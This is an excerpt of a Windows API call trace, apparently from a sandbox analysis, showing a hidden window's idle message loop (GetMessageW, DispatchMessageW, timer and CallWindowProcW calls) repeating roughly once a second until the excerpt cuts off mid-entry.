[0288.248] GetParent (hWnd=0x30098) returned 0x0 [0288.248] TranslateMessage (lpMsg=0xc3d688) returned 0 [0288.248] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0288.248] IsWindowVisible (hWnd=0x30098) returned 0 [0288.248] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0288.248] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0288.248] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0288.248] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0288.248] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0288.248] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0289.247] GetParent (hWnd=0x30098) returned 0x0 [0289.247] GetParent (hWnd=0x30098) returned 0x0 [0289.247] GetParent (hWnd=0x30098) returned 0x0 [0289.248] GetParent (hWnd=0x30098) returned 0x0 [0289.248] TranslateMessage (lpMsg=0xc3d688) returned 0 [0289.248] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0289.248] IsWindowVisible (hWnd=0x30098) returned 0 [0289.248] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0289.248] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0289.248] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0289.248] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0289.248] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0289.248] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0290.264] GetParent (hWnd=0x30098) returned 0x0 [0290.264] GetParent (hWnd=0x30098) returned 0x0 [0290.264] GetParent (hWnd=0x30098) returned 0x0 [0290.264] GetParent (hWnd=0x30098) returned 0x0 [0290.264] TranslateMessage (lpMsg=0xc3d688) returned 0 [0290.264] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0290.264] IsWindowVisible (hWnd=0x30098) returned 0 [0290.265] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0290.265] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0290.265] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0290.265] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0291.279] GetParent (hWnd=0x30098) returned 0x0 [0291.279] GetParent (hWnd=0x30098) returned 0x0 [0291.279] GetParent (hWnd=0x30098) returned 0x0 [0291.279] GetParent (hWnd=0x30098) returned 0x0 [0291.279] TranslateMessage (lpMsg=0xc3d688) returned 0 [0291.279] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0291.279] IsWindowVisible (hWnd=0x30098) returned 0 [0291.279] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0291.279] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0291.279] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0291.279] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0292.294] GetParent (hWnd=0x30098) returned 0x0 [0292.294] GetParent (hWnd=0x30098) returned 0x0 [0292.294] GetParent (hWnd=0x30098) returned 0x0 [0292.294] GetParent (hWnd=0x30098) returned 0x0 [0292.294] TranslateMessage (lpMsg=0xc3d688) returned 0 [0292.294] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0292.295] IsWindowVisible (hWnd=0x30098) returned 0 [0292.295] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0292.295] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0292.295] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0292.295] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0293.310] GetParent (hWnd=0x30098) returned 0x0 [0293.310] GetParent (hWnd=0x30098) returned 0x0 [0293.310] GetParent (hWnd=0x30098) returned 0x0 [0293.310] GetParent (hWnd=0x30098) returned 0x0 [0293.310] TranslateMessage (lpMsg=0xc3d688) returned 0 [0293.310] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0293.310] IsWindowVisible (hWnd=0x30098) returned 0 [0293.310] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0293.310] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0293.310] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0293.310] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0294.310] GetParent (hWnd=0x30098) returned 0x0 [0294.310] GetParent (hWnd=0x30098) returned 0x0 [0294.310] GetParent (hWnd=0x30098) returned 0x0 [0294.310] GetParent (hWnd=0x30098) returned 0x0 [0294.310] TranslateMessage (lpMsg=0xc3d688) returned 0 [0294.310] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0294.310] IsWindowVisible (hWnd=0x30098) returned 0 [0294.310] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0294.310] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0294.310] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0294.310] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0295.321] GetParent (hWnd=0x30098) returned 0x0 [0295.321] GetParent (hWnd=0x30098) returned 0x0 [0295.321] GetParent (hWnd=0x30098) returned 0x0 [0295.321] GetParent (hWnd=0x30098) returned 0x0 [0295.321] TranslateMessage (lpMsg=0xc3d688) returned 0 [0295.321] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0295.321] IsWindowVisible (hWnd=0x30098) returned 0 [0295.321] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0295.321] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0295.321] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0295.321] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0296.325] GetParent (hWnd=0x30098) returned 0x0 [0296.325] GetParent (hWnd=0x30098) returned 0x0 [0296.325] GetParent (hWnd=0x30098) returned 0x0 [0296.325] GetParent (hWnd=0x30098) returned 0x0 [0296.325] TranslateMessage (lpMsg=0xc3d688) returned 0 [0296.325] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0296.325] IsWindowVisible (hWnd=0x30098) returned 0 [0296.325] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0296.325] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0296.325] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0296.325] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0297.341] GetParent (hWnd=0x30098) returned 0x0 [0297.341] GetParent (hWnd=0x30098) returned 0x0 [0297.341] GetParent (hWnd=0x30098) returned 0x0 [0297.341] GetParent (hWnd=0x30098) returned 0x0 [0297.341] TranslateMessage (lpMsg=0xc3d688) returned 0 [0297.341] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0297.341] IsWindowVisible (hWnd=0x30098) returned 0 [0297.341] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0297.341] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0297.341] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0297.341] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0298.341] GetParent (hWnd=0x30098) returned 0x0 [0298.341] GetParent (hWnd=0x30098) returned 0x0 [0298.341] GetParent (hWnd=0x30098) returned 0x0 [0298.341] GetParent (hWnd=0x30098) returned 0x0 [0298.341] TranslateMessage (lpMsg=0xc3d688) returned 0 [0298.341] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0298.341] IsWindowVisible (hWnd=0x30098) returned 0 [0298.341] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0298.341] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0298.341] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0298.341] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0299.356] GetParent (hWnd=0x30098) returned 0x0 [0299.356] GetParent (hWnd=0x30098) returned 0x0 [0299.356] GetParent (hWnd=0x30098) returned 0x0 [0299.356] GetParent (hWnd=0x30098) returned 0x0 [0299.356] TranslateMessage (lpMsg=0xc3d688) returned 0 [0299.356] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0299.356] IsWindowVisible (hWnd=0x30098) returned 0 [0299.357] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0299.357] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0299.357] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0299.357] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0300.358] GetParent (hWnd=0x30098) returned 0x0 [0300.358] GetParent (hWnd=0x30098) returned 0x0 [0300.358] GetParent (hWnd=0x30098) returned 0x0 [0300.358] GetParent (hWnd=0x30098) returned 0x0 [0300.358] TranslateMessage (lpMsg=0xc3d688) returned 0 [0300.358] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0300.358] IsWindowVisible (hWnd=0x30098) returned 0 [0300.358] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0300.358] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0300.358] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0300.358] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0301.378] GetParent (hWnd=0x30098) returned 0x0 [0301.378] GetParent (hWnd=0x30098) returned 0x0 [0301.378] GetParent (hWnd=0x30098) returned 0x0 [0301.378] GetParent (hWnd=0x30098) returned 0x0 [0301.378] TranslateMessage (lpMsg=0xc3d688) returned 0 [0301.378] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0301.378] IsWindowVisible (hWnd=0x30098) returned 0 [0301.378] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0301.406] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0301.406] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0301.406] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0302.388] GetParent (hWnd=0x30098) returned 0x0 [0302.388] GetParent (hWnd=0x30098) returned 0x0 [0302.388] GetParent (hWnd=0x30098) returned 0x0 [0302.388] GetParent (hWnd=0x30098) returned 0x0 [0302.388] TranslateMessage (lpMsg=0xc3d688) returned 0 [0302.388] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0302.388] IsWindowVisible (hWnd=0x30098) returned 0 [0302.388] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0302.388] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0302.388] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0302.388] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0303.388] GetParent (hWnd=0x30098) returned 0x0 [0303.388] GetParent (hWnd=0x30098) returned 0x0 [0303.388] GetParent (hWnd=0x30098) returned 0x0 [0303.388] GetParent (hWnd=0x30098) returned 0x0 [0303.388] TranslateMessage (lpMsg=0xc3d688) returned 0 [0303.388] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0303.388] IsWindowVisible (hWnd=0x30098) returned 0 [0303.388] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0303.388] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0303.388] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0303.388] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0304.403] GetParent (hWnd=0x30098) returned 0x0 [0304.403] GetParent (hWnd=0x30098) returned 0x0 [0304.403] GetParent (hWnd=0x30098) returned 0x0 [0304.403] GetParent (hWnd=0x30098) returned 0x0 [0304.403] TranslateMessage (lpMsg=0xc3d688) returned 0 [0304.403] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0304.403] IsWindowVisible (hWnd=0x30098) returned 0 [0304.403] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0304.403] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0304.403] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0304.404] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0305.416] GetParent (hWnd=0x30098) returned 0x0 [0305.416] GetParent (hWnd=0x30098) returned 0x0 [0305.416] GetParent (hWnd=0x30098) returned 0x0 [0305.416] GetParent (hWnd=0x30098) returned 0x0 [0305.416] TranslateMessage (lpMsg=0xc3d688) returned 0 [0305.416] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0305.416] IsWindowVisible (hWnd=0x30098) returned 0 [0305.416] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0305.417] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0305.417] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0305.417] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0306.428] GetParent (hWnd=0x30098) returned 0x0 [0306.428] GetParent (hWnd=0x30098) returned 0x0 [0306.428] GetParent (hWnd=0x30098) returned 0x0 [0306.428] GetParent (hWnd=0x30098) returned 0x0 [0306.428] TranslateMessage (lpMsg=0xc3d688) returned 0 [0306.428] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0306.428] IsWindowVisible (hWnd=0x30098) returned 0 [0306.428] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0306.428] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0306.428] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0306.428] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0307.440] GetParent (hWnd=0x30098) returned 0x0 [0307.440] GetParent (hWnd=0x30098) returned 0x0 [0307.440] GetParent (hWnd=0x30098) returned 0x0 [0307.440] GetParent (hWnd=0x30098) returned 0x0 [0307.440] TranslateMessage (lpMsg=0xc3d688) returned 0 [0307.440] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0307.440] IsWindowVisible (hWnd=0x30098) returned 0 [0307.440] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0307.440] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0307.440] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0307.440] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0308.440] GetParent (hWnd=0x30098) returned 0x0 [0308.440] GetParent (hWnd=0x30098) returned 0x0 [0308.440] GetParent (hWnd=0x30098) returned 0x0 [0308.440] GetParent (hWnd=0x30098) returned 0x0 [0308.440] TranslateMessage (lpMsg=0xc3d688) returned 0 [0308.440] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0308.440] IsWindowVisible (hWnd=0x30098) returned 0 [0308.440] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0308.440] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0308.440] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0308.441] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0309.455] GetParent (hWnd=0x30098) returned 0x0 [0309.455] GetParent (hWnd=0x30098) returned 0x0 [0309.455] GetParent (hWnd=0x30098) returned 0x0 [0309.455] GetParent (hWnd=0x30098) returned 0x0 [0309.456] TranslateMessage (lpMsg=0xc3d688) returned 0 [0309.456] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0309.456] IsWindowVisible (hWnd=0x30098) returned 0 [0309.456] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0309.456] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0309.456] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0309.456] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0310.449] GetParent (hWnd=0x30098) returned 0x0 [0310.449] GetParent (hWnd=0x30098) returned 0x0 [0310.449] GetParent (hWnd=0x30098) returned 0x0 [0310.450] GetParent (hWnd=0x30098) returned 0x0 [0310.450] TranslateMessage (lpMsg=0xc3d688) returned 0 [0310.450] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0310.450] IsWindowVisible (hWnd=0x30098) returned 0 [0310.450] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0310.450] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0310.450] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0310.450] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0311.449] GetParent (hWnd=0x30098) returned 0x0 [0311.449] GetParent (hWnd=0x30098) returned 0x0 [0311.449] GetParent (hWnd=0x30098) returned 0x0 [0311.449] GetParent (hWnd=0x30098) returned 0x0 [0311.449] TranslateMessage (lpMsg=0xc3d688) returned 0 [0311.449] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0311.449] IsWindowVisible (hWnd=0x30098) returned 0 [0311.450] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0311.450] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0311.450] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0311.450] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0312.465] GetParent (hWnd=0x30098) returned 0x0 [0312.465] GetParent (hWnd=0x30098) returned 0x0 [0312.465] GetParent (hWnd=0x30098) returned 0x0 [0312.465] GetParent (hWnd=0x30098) returned 0x0 [0312.465] TranslateMessage (lpMsg=0xc3d688) returned 0 [0312.465] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0312.465] IsWindowVisible (hWnd=0x30098) returned 0 [0312.465] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0312.465] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0312.465] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0312.465] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0313.465] GetParent (hWnd=0x30098) returned 0x0 [0313.465] GetParent (hWnd=0x30098) returned 0x0 [0313.465] GetParent (hWnd=0x30098) returned 0x0 [0313.465] GetParent (hWnd=0x30098) returned 0x0 [0313.465] TranslateMessage (lpMsg=0xc3d688) returned 0 [0313.465] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0313.465] IsWindowVisible (hWnd=0x30098) returned 0 [0313.465] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0313.465] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0313.465] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0313.465] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0314.481] GetParent (hWnd=0x30098) returned 0x0 [0314.481] GetParent (hWnd=0x30098) returned 0x0 [0314.481] GetParent (hWnd=0x30098) returned 0x0 [0314.481] GetParent (hWnd=0x30098) returned 0x0 [0314.481] TranslateMessage (lpMsg=0xc3d688) returned 0 [0314.481] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0314.481] IsWindowVisible (hWnd=0x30098) returned 0 [0314.481] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0314.481] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0314.481] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0314.481] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0315.493] GetParent (hWnd=0x30098) returned 0x0 [0315.493] GetParent (hWnd=0x30098) returned 0x0 [0315.493] GetParent (hWnd=0x30098) returned 0x0 [0315.493] GetParent (hWnd=0x30098) returned 0x0 [0315.493] TranslateMessage (lpMsg=0xc3d688) returned 0 [0315.493] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0315.493] IsWindowVisible (hWnd=0x30098) returned 0 [0315.493] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0315.493] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0315.493] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0315.493] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0316.498] GetParent (hWnd=0x30098) returned 0x0 [0316.498] GetParent (hWnd=0x30098) returned 0x0 [0316.498] GetParent (hWnd=0x30098) returned 0x0 [0316.498] GetParent (hWnd=0x30098) returned 0x0 [0316.498] TranslateMessage (lpMsg=0xc3d688) returned 0 [0316.498] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0316.498] IsWindowVisible (hWnd=0x30098) returned 0 [0316.498] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0316.498] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0316.498] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0316.498] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0317.513] GetParent (hWnd=0x30098) returned 0x0 [0317.514] GetParent (hWnd=0x30098) returned 0x0 [0317.514] GetParent (hWnd=0x30098) returned 0x0 [0317.514] GetParent 